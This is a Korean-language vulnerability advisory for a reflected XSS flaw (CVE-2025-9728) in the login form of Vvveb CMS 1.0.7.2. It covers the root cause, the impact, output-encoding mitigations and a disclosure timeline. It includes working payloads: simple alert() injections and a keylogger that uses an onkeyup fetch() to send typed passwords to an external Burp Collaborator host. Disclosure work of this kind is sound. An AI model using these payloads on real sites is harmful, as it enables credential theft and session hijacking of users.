Exploit for Reflected-XSS-in-Vvveb-CMS-v1.0.7.2

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HELLOANDREWPAUL-REFLECTED-XSS-IN-VVVEB-CMS-V1.0.7.2
# 로그인 폼(이메일 및 비밀번호 필드)의 반사형 XSS 취약점 - Vvveb CMS v1.0.7.2

  * **작성자:** Andrew Paul
  * **발견일:** 2025년 8월 12일
  * **공급업체:** Vvveb
  * **공급업체 URL:** http://vvveb.com
  * **공급업체 GitHub:** https://github.com/givanz/Vvveb
  * **영향받는 버전:** 1.0.7.2 (및 이전 버전도 가능)
  * **CVE ID:** CVE-2025-9728



## 개요

사용자 로그인 폼에서 반사형 크로스 사이트 스크립팅(XSS) 취약점(CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))이 존재합니다. `email` 및 `password` 매개변수가 HTML 응답에 반영되기 전에 정화(sanitize)되지 않습니다. 이로 인해 공격자는 특수 URL을 제작하여 악성 스크립트를 주입할 수 있으며, 키로거 페이로드를 통해 자격 증명을 도용할 수 있습니다. 이는 비밀번호 데이터를 Burp Collaborator 서버로 유출함으로써 확인되었습니다.

## OWASP Top 10 2021 매핑

이 취약점은 OWASP Top 10 2021의 여러 범주에 매핑됩니다:

  * **A03:2021 - Injection:** 애플리케이션은 적절한 정화 없이 신뢰할 수 없는 데이터를 브라우저로 전송되는 HTML 페이지에 포함시키기 때문에 인젝션에 취약하며, 이로 인해 공격자의 스크립트가 실행될 수 있습니다.

  * **A04:2021 - Insecure Design:** 로그인 메커니즘은 기본적인 보안 제어(사용자 반영 콘텐츠에 대한 서버 측 출력 인코딩)가 부족하기 때문에 설계상 안전하지 않습니다.

  * **A05:2021 - Security Misconfiguration:** 애플리케이션은 `<input type="email">`과 같은 취약한 클라이언트 측 제어에 부적절하게 의존하고 있으며, 이는 공격자가 쉽게 우회할 수 있어 실질적인 보안을 제공하지 못합니다.




## 취약점 세부 정보

이 취약점의 근본 원인은 서버가 사용자 제공 데이터에 대해 출력 인코딩을 수행하지 않기 때문입니다. 사용자가 로그인 폼을 제출하면, `email` 및 password 필드에 제공된 값이 결과 페이지 로드 시 해당 `<input>` 태그의 `value` 속성에 다시 삽입됩니다. 큰따옴표(")를 포함하는 페이로드를 제공함으로써 공격자는 `value` 속성을 이스케이프하고 새로운 HTML 속성(예: `onkeyup`) 또는 완전히 새로운 태그(예: `<script>`)를 주입할 수 있습니다. 이 동작은 `email` 및 `password` 필드 모두에서 확인되었습니다.

## 잠재적 공격 벡터

이 취약점은 공격자가 피해자를 속여 조작된 요청을 서버에 제출하도록 하는 모든 벡터를 통해 악용될 수 있습니다. 가장 일반적인 벡터는 피싱 공격으로, 공격자가 XSS 페이로드를 포함한 악성 URL을 제작하여 피해자에게 전송합니다. 피해자가 링크를 클릭하면 페이로드가 해당 브라우저에서 실행됩니다.

## 개념 증명(PoC)

취약점은 두 가지 별개의 개념 증명을 통해 입증됩니다: 시각적 알림을 트리거하는 간단한 스크립트 주입과 사용자 자격 증명을 캡처하는 고급 공격입니다. 제공된 이미지는 이러한 PoC에 대한 직접적인 증거 역할을 합니다.

### PoC A: 간단한 알림 확인

이 PoC는 두 취약 필드 모두에서 기본적인 스크립트 실행을 확인합니다.

#### 페이로드

  * **Email:** `j4u6e"><script>alert('email')</script>ou1w`
  * **Password:** `j4u6e"><script>alert('password')</script>ou1w`



#### 재현 단계

  1. 로그인 페이지 `http(s)://example.com/user/login` 로 이동합니다.
  2. 해당 입력 필드에 페이로드 중 하나를 입력합니다.
  3. 폼을 제출합니다.



#### 결과

화면에 JavaScript `alert()` 상자가 나타나 취약점을 확인합니다.

![](https://assets.kitploit.com/production/public/readmes/26432/0fb06dbd80ce1acac210028ce70d2497427c9727a98dfe840ea5a0c4dc998570.png) _입력 필드의 페이로드_

![](https://assets.kitploit.com/production/public/readmes/26432/e55c5c11bf79ab3d29ecdaa736fad48c7bb424988e9c5e10eb86840c5c5feb29.png) _이메일 알림_

![](https://assets.kitploit.com/production/public/readmes/26432/fd287f9a23a9c1ae9935c5c1f8cc76454f2b7498fc078d7f866333ef4987724b.png) _비밀번호 알림_

### PoC B: 키로거를 통한 자격 증명 도용

이 PoC는 비밀번호 키 입력을 도용함으로써 중요한 영향을 입증합니다.

#### 페이로드

`j4u6e" onkeyup="fetch('https://hg1n99wu463z4ujvj808u3f3ruxnlg95.oastify.com?data=' + btoa(this.value))"`

#### 재현 단계

  1. 로그인 페이지 `http(s)://example.com/user/login` 로 이동합니다.
  2. 키로거 페이로드를 `password` 입력 필드에 직접 붙여넣습니다.
  3. 손상된 필드에 가짜 비밀번호를 입력합니다.



#### 결과

각 키 입력이 캡처되어 공격자의 Burp Collaborator 서버로 전송됩니다. 이는 임의의 스크립트가 실행될 수 있고 민감한 데이터가 유출될 수 있음을 확인합니다.

![](https://assets.kitploit.com/production/public/readmes/26432/b3421566ca20063ee842761cc6cd5be230afd238a40341c86ae924a3dbe046d7.png) _손상된 입력_

![](https://assets.kitploit.com/production/public/readmes/26432/5bb363b650ecb701ae8d71f2b7f8ec78b9ae752d87fd4b4c9abf0409e62eb0a4.png) _Burp Suite Collaborator로 전송된 비밀번호_

![](https://assets.kitploit.com/production/public/readmes/26432/760ce662253ba3230c26c180a1fa79cb247a712a7402e13c16d2159cb64503d7.png) _페이로드가 포함된 취약한 코드_

## 영향

이 취약점을 성공적으로 악용하면 사용자의 계정과 브라우저 세션이 완전히 손상될 수 있습니다. 주요 영향은 다음과 같습니다:

  * **자격 증명 도용:** PoC에서 입증된 바와 같이 공격자는 실시간으로 사용자 이름과 비밀번호를 도용할 수 있습니다.
  * **세션 하이재킹:** 공격자는 주입된 스크립트를 사용하여 사용자가 로그인한 후 세션 쿠키를 탈취하여 사용자를 완전히 사칭할 수 있습니다.
  * **웹사이트 훼손 및 피싱:** 공격자는 로그인 페이지의 콘텐츠를 변경하여 더 많은 민감 정보를 피싱하거나 브랜드 평판을 손상시킬 수 있습니다.
  * **추가 공격:** 이 취약점은 사용자의 브라우저에 대한 추가 공격을 시작하거나 사용자를 악성 웹사이트로 리디렉션하는 데 사용될 수 있습니다.



## 권장 완화 조치

가장 좋은 방법은 입력 검증과 적절한 출력 인코딩을 결합한 **심층 방어(Defense-in-depth)** 접근 방식을 사용하는 것입니다.

### 입력 검증 (첫 번째 계층)

좋은 보안 관행으로, 서버는 명백히 악성 패턴을 포함하는 요청을 거부하기 위해 **입력 검증** 을 수행해야 합니다. 이는 초기 방어 계층을 제공하지만 유일한 해결책으로 의존해서는 안 됩니다.

### 출력 인코딩 (필수 수정)

가장 중요하고 핵심적인 수정은 모든 사용자 제공 데이터가 HTML에서 렌더링되기 직전에 **출력 인코딩** 을 적용하는 것입니다. `htmlspecialchars()` 함수를 사용할 수 있습니다.

## 공개 타임라인

  * **발견일:** 2025년 8월 12일
  * **공급업체 통보일:** 2025년 8월 12일
  * **공급업체 확인일:** 2025년 8월 12일
  * **패치 출시일:** 2025년 8월 12일
  * **공개 공개일:** 2025년 8월 22일